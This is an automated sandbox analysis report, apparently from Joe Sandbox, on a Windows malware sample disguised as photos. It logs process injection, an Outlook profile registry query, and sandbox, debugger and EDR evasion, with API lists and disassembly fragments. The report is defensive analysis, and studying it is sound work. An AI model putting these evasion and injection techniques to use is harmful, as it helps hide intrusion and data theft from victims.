Source: C:\Program Files (x86)\vZklQPYGCrpswQMMImUCYODukgPEQCJuFRQCuATnjaXuIlxjgbbjjraDNoIAJbXnboDRDUx\GhotoFFnRo.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Program Files (x86)\vZklQPYGCrpswQMMImUCYODukgPEQCJuFRQCuATnjaXuIlxjgbbjjraDNoIAJbXnboDRDUx\GhotoFFnRo.exe	Section loaded: rasadhlp.dll	Jump to behavior

Source: C:\Windows\SysWOW64\winver.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{3C374A40-BAE4-11CF-BF7D-00AA006946EE}\InProcServer32

Source: C:\Windows\SysWOW64\winver.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\

Source: FOTO#U011eRAFLAR.exe

Static file information: File size 1600512 > 1048576

Source: FOTO#U011eRAFLAR.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: FOTO#U011eRAFLAR.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: FOTO#U011eRAFLAR.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: FOTO#U011eRAFLAR.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: FOTO#U011eRAFLAR.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: FOTO#U011eRAFLAR.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: FOTO#U011eRAFLAR.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: winver.pdb source: svchost.exe, 00000001.00000003.1980070090.000000000321A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1980124475.000000000323B000.00000004.00000020.00020000.00000000.sdmp, GhotoFFnRo.exe, 00000005.00000002.3545608911.0000000000E48000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: GhotoFFnRo.exe, 00000005.00000000.1938013471.0000000000BBE000.00000002.00000001.01000000.00000005.sdmp, GhotoFFnRo.exe, 00000007.00000002.3545711657.0000000000BBE000.00000002.00000001.01000000.00000005.sdmp
Source:	Binary string: wntdll.pdbUGP source: FOTO#U011eRAFLAR.exe, 00000000.00000003.1694500272.0000000003860000.00000004.00001000.00020000.00000000.sdmp, FOTO#U011eRAFLAR.exe, 00000000.00000003.1695007879.0000000003A00000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.2011442081.0000000003800000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1919020737.0000000003400000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1920958794.0000000003600000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.2011442081.000000000399E000.00000040.00001000.00020000.00000000.sdmp, winver.exe, 00000006.00000003.2014121501.00000000048B5000.00000004.00000020.00020000.00000000.sdmp, winver.exe, 00000006.00000003.2011547954.0000000004708000.00000004.00000020.00020000.00000000.sdmp, winver.exe, 00000006.00000002.3546458580.0000000004BFE000.00000040.00001000.00020000.00000000.sdmp, winver.exe, 00000006.00000002.3546458580.0000000004A60000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: FOTO#U011eRAFLAR.exe, 00000000.00000003.1694500272.0000000003860000.00000004.00001000.00020000.00000000.sdmp, FOTO#U011eRAFLAR.exe, 00000000.00000003.1695007879.0000000003A00000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, svchost.exe, 00000001.00000002.2011442081.0000000003800000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1919020737.0000000003400000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1920958794.0000000003600000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.2011442081.000000000399E000.00000040.00001000.00020000.00000000.sdmp, winver.exe, winver.exe, 00000006.00000003.2014121501.00000000048B5000.00000004.00000020.00020000.00000000.sdmp, winver.exe, 00000006.00000003.2011547954.0000000004708000.00000004.00000020.00020000.00000000.sdmp, winver.exe, 00000006.00000002.3546458580.0000000004BFE000.00000040.00001000.00020000.00000000.sdmp, winver.exe, 00000006.00000002.3546458580.0000000004A60000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: winver.pdbGCTL source: svchost.exe, 00000001.00000003.1980070090.000000000321A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1980124475.000000000323B000.00000004.00000020.00020000.00000000.sdmp, GhotoFFnRo.exe, 00000005.00000002.3545608911.0000000000E48000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: svchost.pdb source: winver.exe, 00000006.00000002.3545292765.0000000000C05000.00000004.00000020.00020000.00000000.sdmp, winver.exe, 00000006.00000002.3547176638.000000000508C000.00000004.10000000.00040000.00000000.sdmp, GhotoFFnRo.exe, 00000007.00000002.3546321653.0000000002A9C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000008.00000002.2310345131.000000002248C000.00000004.80000000.00040000.00000000.sdmp
Source:	Binary string: svchost.pdbUGP source: winver.exe, 00000006.00000002.3545292765.0000000000C05000.00000004.00000020.00020000.00000000.sdmp, winver.exe, 00000006.00000002.3547176638.000000000508C000.00000004.10000000.00040000.00000000.sdmp, GhotoFFnRo.exe, 00000007.00000002.3546321653.0000000002A9C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000008.00000002.2310345131.000000002248C000.00000004.80000000.00040000.00000000.sdmp

Source: FOTO#U011eRAFLAR.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: FOTO#U011eRAFLAR.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: FOTO#U011eRAFLAR.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: FOTO#U011eRAFLAR.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: FOTO#U011eRAFLAR.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: C:\Users\user\Desktop\FOTO#U011eRAFLAR.exe

Code function: 0_2_00D1615E GetVersionExW,GetCurrentProcess,IsWow64Process,LoadLibraryA,GetProcAddress,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

Found API chain indicative of sandbox detection

Source: C:\Users\user\Desktop\FOTO#U011eRAFLAR.exe	Code function: 0_2_00D309F6 push ecx; ret	0_2_00D30A09
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_00419013 push FFFFFFD4h; retf 26A5h	1_2_004190C1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0041903F push FFFFFFD4h; retf 26A5h	1_2_004190C1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_004138E3 push esi; ret	1_2_004138EE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_00412939 push ebp; retf	1_2_0041293A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_00418A74 push edi; retf	1_2_00418A8D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_00418A1C push edi; retf	1_2_00418A8D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_00418A2E push edi; retf	1_2_00418A8D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_00401B9E push ebp; ret	1_2_00401B9F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0041AD68 push eax; retf	1_2_0041AD6F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_00403570 push eax; ret	1_2_00403572
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_00418507 push ebx; retf	1_2_0041850E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0041EDC8 push ebp; iretd	1_2_0041EE0F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_004195D0 push ss; ret	1_2_004195DA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0041EDFC push ebp; iretd	1_2_0041EE0F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_004195AB push cs; iretd	1_2_004195C2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_00416633 push ss; iretd	1_2_00416687
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0041F747 push edi; ret	1_2_0041F755
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0041EF8E push edi; retf	1_2_0041EF8F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0380225F pushad ; ret	1_2_038027F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038027FA pushad ; ret	1_2_038027F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038309AD push ecx; mov dword ptr [esp], ecx	1_2_038309B6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0380283D push eax; iretd	1_2_03802858
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03801368 push eax; iretd	1_2_03801369
Source: C:\Program Files (x86)\vZklQPYGCrpswQMMImUCYODukgPEQCJuFRQCuATnjaXuIlxjgbbjjraDNoIAJbXnboDRDUx\GhotoFFnRo.exe	Code function: 5_2_02E98095 push ebp; retf	5_2_02E98096
Source: C:\Program Files (x86)\vZklQPYGCrpswQMMImUCYODukgPEQCJuFRQCuATnjaXuIlxjgbbjjraDNoIAJbXnboDRDUx\GhotoFFnRo.exe	Code function: 5_2_02E9903F push esi; ret	5_2_02E9904A
Source: C:\Program Files (x86)\vZklQPYGCrpswQMMImUCYODukgPEQCJuFRQCuATnjaXuIlxjgbbjjraDNoIAJbXnboDRDUx\GhotoFFnRo.exe	Code function: 5_2_02EA46EA push edi; retf	5_2_02EA46EB
Source: C:\Program Files (x86)\vZklQPYGCrpswQMMImUCYODukgPEQCJuFRQCuATnjaXuIlxjgbbjjraDNoIAJbXnboDRDUx\GhotoFFnRo.exe	Code function: 5_2_02EA4EA3 push edi; ret	5_2_02EA4EB1
Source: C:\Program Files (x86)\vZklQPYGCrpswQMMImUCYODukgPEQCJuFRQCuATnjaXuIlxjgbbjjraDNoIAJbXnboDRDUx\GhotoFFnRo.exe	Code function: 5_2_02E9E76F push FFFFFFD4h; retf 26A5h	5_2_02E9E81D
Source: C:\Program Files (x86)\vZklQPYGCrpswQMMImUCYODukgPEQCJuFRQCuATnjaXuIlxjgbbjjraDNoIAJbXnboDRDUx\GhotoFFnRo.exe	Code function: 5_2_02EA04C4 push eax; retf	5_2_02EA04CB
Source: C:\Program Files (x86)\vZklQPYGCrpswQMMImUCYODukgPEQCJuFRQCuATnjaXuIlxjgbbjjraDNoIAJbXnboDRDUx\GhotoFFnRo.exe	Code function: 5_2_02E9DC63 push ebx; retf	5_2_02E9DC6A

Source: C:\Users\user\Desktop\FOTO#U011eRAFLAR.exe	Code function: 0_2_00D2EFAD GetForegroundWindow,FindWindowW,IsIconic,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,ShowWindow,		0_2_00D2EFAD
Source: C:\Users\user\Desktop\FOTO#U011eRAFLAR.exe	Code function: 0_2_00DA1B74 IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,		0_2_00DA1B74

Source: C:\Users\user\Desktop\FOTO#U011eRAFLAR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\FOTO#U011eRAFLAR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Source: C:\Users\user\Desktop\FOTO#U011eRAFLAR.exe

Sandbox detection routine: GetForegroundWindow, DecisionNode, Sleep

graph_0-92816

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\Desktop\FOTO#U011eRAFLAR.exe	API/Special instruction interceptor: Address: 1237AB4
Source: C:\Windows\SysWOW64\winver.exe	API/Special instruction interceptor: Address: 7FFE2220D324
Source: C:\Windows\SysWOW64\winver.exe	API/Special instruction interceptor: Address: 7FFE2220D7E4
Source: C:\Windows\SysWOW64\winver.exe	API/Special instruction interceptor: Address: 7FFE2220D944
Source: C:\Windows\SysWOW64\winver.exe	API/Special instruction interceptor: Address: 7FFE2220D504
Source: C:\Windows\SysWOW64\winver.exe	API/Special instruction interceptor: Address: 7FFE2220D544
Source: C:\Windows\SysWOW64\winver.exe	API/Special instruction interceptor: Address: 7FFE2220D1E4
Source: C:\Windows\SysWOW64\winver.exe	API/Special instruction interceptor: Address: 7FFE22210154
Source: C:\Windows\SysWOW64\winver.exe	API/Special instruction interceptor: Address: 7FFE2220DA44

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 1_2_0387096E rdtsc

1_2_0387096E

Source: C:\Windows\SysWOW64\winver.exe	Window / User API: threadDelayed 2811			Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Window / User API: threadDelayed 7161			Jump to behavior

Source: C:\Users\user\Desktop\FOTO#U011eRAFLAR.exe	API coverage: 3.7 %
Source: C:\Windows\SysWOW64\svchost.exe	API coverage: 0.6 %
Source: C:\Windows\SysWOW64\winver.exe	API coverage: 2.6 %

Source: C:\Windows\SysWOW64\winver.exe TID: 7924	Thread sleep count: 2811 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe TID: 7924	Thread sleep time: -5622000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe TID: 7924	Thread sleep count: 7161 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe TID: 7924	Thread sleep time: -14322000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\vZklQPYGCrpswQMMImUCYODukgPEQCJuFRQCuATnjaXuIlxjgbbjjraDNoIAJbXnboDRDUx\GhotoFFnRo.exe TID: 7944	Thread sleep time: -55000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\vZklQPYGCrpswQMMImUCYODukgPEQCJuFRQCuATnjaXuIlxjgbbjjraDNoIAJbXnboDRDUx\GhotoFFnRo.exe TID: 7944	Thread sleep time: -36000s >= -30000s	Jump to behavior

Source: C:\Windows\SysWOW64\winver.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\winver.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\FOTO#U011eRAFLAR.exe	Code function: 0_2_00D868AD FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToSystemTime,FileTimeToSystemTime,	0_2_00D868AD
Source: C:\Users\user\Desktop\FOTO#U011eRAFLAR.exe	Code function: 0_2_00D8680C FindFirstFileW,FindClose,	0_2_00D8680C
Source: C:\Users\user\Desktop\FOTO#U011eRAFLAR.exe	Code function: 0_2_00D7CF94 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	0_2_00D7CF94
Source: C:\Users\user\Desktop\FOTO#U011eRAFLAR.exe	Code function: 0_2_00D7D2C7 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	0_2_00D7D2C7
Source: C:\Users\user\Desktop\FOTO#U011eRAFLAR.exe	Code function: 0_2_00D89560 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_00D89560
Source: C:\Users\user\Desktop\FOTO#U011eRAFLAR.exe	Code function: 0_2_00D896BB SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_00D896BB
Source: C:\Users\user\Desktop\FOTO#U011eRAFLAR.exe	Code function: 0_2_00D7DADC lstrlenW,GetFileAttributesW,FindFirstFileW,FindClose,	0_2_00D7DADC
Source: C:\Users\user\Desktop\FOTO#U011eRAFLAR.exe	Code function: 0_2_00D89A49 FindFirstFileW,Sleep,FindNextFileW,FindClose,	0_2_00D89A49
Source: C:\Users\user\Desktop\FOTO#U011eRAFLAR.exe	Code function: 0_2_00D85BB5 FindFirstFileW,FindNextFileW,FindClose,	0_2_00D85BB5
Source: C:\Windows\SysWOW64\winver.exe	Code function: 6_2_0084C750 FindFirstFileW,FindNextFileW,FindClose,	6_2_0084C750

Source: C:\Users\user\Desktop\FOTO#U011eRAFLAR.exe

Code function: 0_2_00D1615E GetVersionExW,GetCurrentProcess,IsWow64Process,LoadLibraryA,GetProcAddress,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

Source: GhotoFFnRo.exe, 00000007.00000002.3545851114.0000000000D3F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll:
Source: winver.exe, 00000006.00000002.3545292765.0000000000C05000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllt
Source: firefox.exe, 00000008.00000002.2311686726.00000231A23DC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll99

Source: C:\Windows\SysWOW64\svchost.exe

Process information queried: ProcessInformation

Source: C:\Windows\SysWOW64\svchost.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 1_2_0387096E rdtsc

1_2_0387096E

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 1_2_00417C73 LdrLoadDll,

1_2_00417C73

Source: C:\Users\user\Desktop\FOTO#U011eRAFLAR.exe

Code function: 0_2_00D8E9C9 BlockInput,

0_2_00D8E9C9

Source: C:\Users\user\Desktop\FOTO#U011eRAFLAR.exe

Code function: 0_2_00D1445D GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

0_2_00D1445D

Source: C:\Users\user\Desktop\FOTO#U011eRAFLAR.exe

Code function: 0_2_00D1615E GetVersionExW,GetCurrentProcess,IsWow64Process,LoadLibraryA,GetProcAddress,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Users\user\Desktop\FOTO#U011eRAFLAR.exe	Code function: 0_2_00D34C78 mov eax, dword ptr fs:[00000030h]	0_2_00D34C78
Source: C:\Users\user\Desktop\FOTO#U011eRAFLAR.exe	Code function: 0_2_012366E0 mov eax, dword ptr fs:[00000030h]	0_2_012366E0
Source: C:\Users\user\Desktop\FOTO#U011eRAFLAR.exe	Code function: 0_2_01237D20 mov eax, dword ptr fs:[00000030h]	0_2_01237D20
Source: C:\Users\user\Desktop\FOTO#U011eRAFLAR.exe	Code function: 0_2_01237D80 mov eax, dword ptr fs:[00000030h]	0_2_01237D80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0382E388 mov eax, dword ptr fs:[00000030h]	1_2_0382E388
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0382E388 mov eax, dword ptr fs:[00000030h]	1_2_0382E388
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0382E388 mov eax, dword ptr fs:[00000030h]	1_2_0382E388
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0385438F mov eax, dword ptr fs:[00000030h]	1_2_0385438F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0385438F mov eax, dword ptr fs:[00000030h]	1_2_0385438F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03828397 mov eax, dword ptr fs:[00000030h]	1_2_03828397
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03828397 mov eax, dword ptr fs:[00000030h]	1_2_03828397
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03828397 mov eax, dword ptr fs:[00000030h]	1_2_03828397
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038EC3CD mov eax, dword ptr fs:[00000030h]	1_2_038EC3CD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0383A3C0 mov eax, dword ptr fs:[00000030h]	1_2_0383A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0383A3C0 mov eax, dword ptr fs:[00000030h]	1_2_0383A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0383A3C0 mov eax, dword ptr fs:[00000030h]	1_2_0383A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0383A3C0 mov eax, dword ptr fs:[00000030h]	1_2_0383A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0383A3C0 mov eax, dword ptr fs:[00000030h]	1_2_0383A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0383A3C0 mov eax, dword ptr fs:[00000030h]	1_2_0383A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038383C0 mov eax, dword ptr fs:[00000030h]	1_2_038383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038383C0 mov eax, dword ptr fs:[00000030h]	1_2_038383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038383C0 mov eax, dword ptr fs:[00000030h]	1_2_038383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038383C0 mov eax, dword ptr fs:[00000030h]	1_2_038383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038B63C0 mov eax, dword ptr fs:[00000030h]	1_2_038B63C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038DE3DB mov eax, dword ptr fs:[00000030h]	1_2_038DE3DB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038DE3DB mov eax, dword ptr fs:[00000030h]	1_2_038DE3DB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038DE3DB mov ecx, dword ptr fs:[00000030h]	1_2_038DE3DB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038DE3DB mov eax, dword ptr fs:[00000030h]	1_2_038DE3DB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038D43D4 mov eax, dword ptr fs:[00000030h]	1_2_038D43D4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038D43D4 mov eax, dword ptr fs:[00000030h]	1_2_038D43D4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038403E9 mov eax, dword ptr fs:[00000030h]	1_2_038403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038403E9 mov eax, dword ptr fs:[00000030h]	1_2_038403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038403E9 mov eax, dword ptr fs:[00000030h]	1_2_038403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038403E9 mov eax, dword ptr fs:[00000030h]	1_2_038403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038403E9 mov eax, dword ptr fs:[00000030h]	1_2_038403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038403E9 mov eax, dword ptr fs:[00000030h]	1_2_038403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038403E9 mov eax, dword ptr fs:[00000030h]	1_2_038403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038403E9 mov eax, dword ptr fs:[00000030h]	1_2_038403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0384E3F0 mov eax, dword ptr fs:[00000030h]	1_2_0384E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0384E3F0 mov eax, dword ptr fs:[00000030h]	1_2_0384E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0384E3F0 mov eax, dword ptr fs:[00000030h]	1_2_0384E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038663FF mov eax, dword ptr fs:[00000030h]	1_2_038663FF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0386A30B mov eax, dword ptr fs:[00000030h]	1_2_0386A30B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0386A30B mov eax, dword ptr fs:[00000030h]	1_2_0386A30B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0386A30B mov eax, dword ptr fs:[00000030h]	1_2_0386A30B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0382C310 mov ecx, dword ptr fs:[00000030h]	1_2_0382C310
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03850310 mov ecx, dword ptr fs:[00000030h]	1_2_03850310
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03908324 mov eax, dword ptr fs:[00000030h]	1_2_03908324
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03908324 mov ecx, dword ptr fs:[00000030h]	1_2_03908324
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03908324 mov eax, dword ptr fs:[00000030h]	1_2_03908324
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03908324 mov eax, dword ptr fs:[00000030h]	1_2_03908324
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038B2349 mov eax, dword ptr fs:[00000030h]	1_2_038B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038B2349 mov eax, dword ptr fs:[00000030h]	1_2_038B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038B2349 mov eax, dword ptr fs:[00000030h]	1_2_038B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038B2349 mov eax, dword ptr fs:[00000030h]	1_2_038B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038B2349 mov eax, dword ptr fs:[00000030h]	1_2_038B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038B2349 mov eax, dword ptr fs:[00000030h]	1_2_038B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038B2349 mov eax, dword ptr fs:[00000030h]	1_2_038B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038B2349 mov eax, dword ptr fs:[00000030h]	1_2_038B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038B2349 mov eax, dword ptr fs:[00000030h]	1_2_038B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038B2349 mov eax, dword ptr fs:[00000030h]	1_2_038B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038B2349 mov eax, dword ptr fs:[00000030h]	1_2_038B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038B2349 mov eax, dword ptr fs:[00000030h]	1_2_038B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038B2349 mov eax, dword ptr fs:[00000030h]	1_2_038B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038B2349 mov eax, dword ptr fs:[00000030h]	1_2_038B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038B2349 mov eax, dword ptr fs:[00000030h]	1_2_038B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038B035C mov eax, dword ptr fs:[00000030h]	1_2_038B035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038B035C mov eax, dword ptr fs:[00000030h]	1_2_038B035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038B035C mov eax, dword ptr fs:[00000030h]	1_2_038B035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038B035C mov ecx, dword ptr fs:[00000030h]	1_2_038B035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038B035C mov eax, dword ptr fs:[00000030h]	1_2_038B035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038B035C mov eax, dword ptr fs:[00000030h]	1_2_038B035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_038FA352 mov eax, dword ptr fs:[00000030h]	1_2_038FA352
